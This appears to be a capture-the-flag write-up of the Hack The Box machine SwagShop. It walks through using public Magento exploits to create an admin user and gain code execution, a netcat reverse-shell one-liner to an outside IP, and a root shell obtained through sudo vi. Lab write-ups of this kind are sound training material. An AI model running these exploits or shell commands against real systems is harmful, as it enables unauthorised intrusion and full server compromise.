Summary

SwagShop is an easy Linux box. It can be exploited by enumerating the webserver and finding a script to create admin users. After tweaking the script you can continue to the authenticated remote code execution script which requires a lot of troubleshooting and modification. After debugging this with burpsuite and pdb it will result in code execution eventually. Privileges can be escalated by abusing the vi binary which can be run as sudo without password from a certain directory.


Discovery

I started by running NmapAutomator.
Nmap discovered the following open ports and services:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The ports are very limited on this box. SSH version 7.2 is not vulnerable to any significant exploit so the webserver can be checked instantly. When navigating to the IP, you will get a redirect to swagshop.htb and see that you have to add the IP to /etc/hosts. After this you will see the homepage of the application:

I instantly notice that Magento is used. In the footer you will see the year:

© 2014 Magento Demo Store. All Rights Reserved.

Exploitation

Therefore, I checked searchsploit for exploits:

searchsploit magento
------------------------------------------------- ---------------------------------
 Exploit Title                                   |  Path
------------------------------------------------- ---------------------------------
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Enti | php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Scri | php/webapps/38651.txt
Magento 1.2 - '/app/code/core/Mage/Admin/Model/S | php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/con | php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site  | php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitr | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Co | php/webapps/37811.py
Magento eCommerce - Local File Disclosure        | php/webapps/19793.txt
Magento eCommerce - Remote Code Execution        | xml/webapps/37977.py
Magento Server MAGMI Plugin - Multiple Vulnerabi | php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote Fil | php/webapps/35052.txt
Magento WooCommerce CardGate Payment Gateway 2.0 | php/webapps/48135.php
------------------------------------------------- ---------------------------

A couple can be disregarded straight away, such as the Cross-Site Scripting ones. An interesting one is the remote code execution:

Magento eCommerce - Remote Code Execution   | xml/webapps/37977.py

It has this URL in the script:

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

This URL isn’t accessible but remember the index.php part, lets add that before it. You will now have access to the admin panel at:

http://swagshop.htb/index.php/admin/Cms_Wysiwyg/directive/index/

When you modify the URL in the script accordingly and run it again:

jeroen@kali:~/htb/swagshop$ python 37977.py 
WORKED
Check http://swagshop.htb/admin with creds forme:forme

You will now have created an admin user. Btw, for troubleshooting why it didn’t work initally, you can proxy the request from the script. Simply add this line:

proxy = { 'http' : 'http://localhost:8080' }

And add the parameter to the request:
[...]"forwarded": 1}, proxies=proxy) Now you can see exactly why it didn’t work initally (404 Not Found).

Remote Code Execution & Troubleshooting

In order to continue, you must go back to the searchsploit results and you will find an authenticated RCE script:

Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | php/webapps/37811.py

This script contains several configuration values. It says this in the exploit:

install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' 
 This needs to be the exact date from /app/etc/local.xml

I checked that URL and it exists:

It seems to contain a username and password and shows a mysql database. An additional thing worth noticing is that whenever you hover over any page, you will see that index.php is included in the URL:

http://swagshop.htb/index.php/about-magento-demo-store/
http://swagshop.htb/index.php/customer/account/login/

This is very odd behaviour and indicates that apache mod rewrite is misconfigured or not configured at all - this is a plugin that rewrites URLs and it would remove the index.php from the URLs. You will have to modify several values. The following configurations must be set:

# Config.
username = 'forme'
password = 'forme'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

And due to an update in the mechanize module, you can uncomment this line (the author wrote this line himself but this creates issues now because it has been added to the module already):

# br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.

When running you will receive this error message:

python 37811.py http://swagshop.htb/index.php/admin/ "uname -a"

Traceback (most recent call last):
  File "37811.py", line 70, in 
    tunnel = tunnel.group(1)
AttributeError: 'NoneType' object has no attribute 'group'

It seems that the variable has no data, you can check this by setting a breakpoint with pdb. Import pdb at the start of the script and set a breakpoint with: pdb.set_trace().
When running the script again, you will see that it stops after which you can do print tunnel to see if the variable contains any data. This is not the case and when intercepting the request in burpsuite you will see why:

POST /index.php/admin/dashboard/ajaxBlock/key/b0ab0960ac9e4afb183fb0e8f37e4078/block/tab_orders/period/1d/?isAjax=true HTTP/1.1
Host: swagshop.htb
[...]

isAjax=false&form_key=14FivUlipnRLe7jw

The response shows that no orders happened within this period:

HTTP/1.1 200 OK
Date: Mon, 03 May 2021 18:40:14 GMT
[...]

No Data Found

You can also check this in the frontend through the dashboard. Try increasing the selected range:

Since theres no data, you can’t utilise the exploit. Therefore, you must create an order or if theres already an order, go to sales > orders:

If you have a pending one here, just click on one and click ship it > submit shipment. You will now see this in your dashboard:

Now you can re-run the exploit and you will notice that you have command execution:

python 37811.py http://swagshop.htb/index.php/admin/ "uname -a"

Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

So, you can open your reverse shell generator and just try several ones. This one worked:

python 37811.py http://swagshop.htb/index.php/admin/ "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.147 443 >/tmp/f"

You will now have access to the user.txt


Privilege Escalation

Running linpeas flagged the following:

This means that www-data can run vi as root without having to enter a password. Therefore, you can check this GTFObins for a vi entry.
It shows the payload, since we can only run it in a specified directory, I created a file and edited this with vi:

www-data@swagshop:/home$ cd /var/www/html
www-data@swagshop:/var/www/html$ touch pwned.txt
www-data@swagshop:/var/www/html$ sudo /usr/bin/vi /var/www/html/pwned.txt 

Inside vi, paste the following: :!/bin/sh.
You will now have a root shell after pressing enter:

# id
uid=0(root) gid=0(root) groups=0(root)

Conclusion

This was a pretty fun box but not as straightforward in my opinion. Finding the exploit script to add an admin was fine as well as figuring out where the admin authentication is located. However, troubleshooting the RCE exploit was not that simple because you also had to figure out about the clash with the mechanize and have to create an order manually. I must say that learning how to troubleshoot the script, by utilising pdb and proxying it through BurpSuite, is very helpful to understand what is actually going on. The privesc was very easy however and I quite liked this box overall. Hope you learned something from this writeup!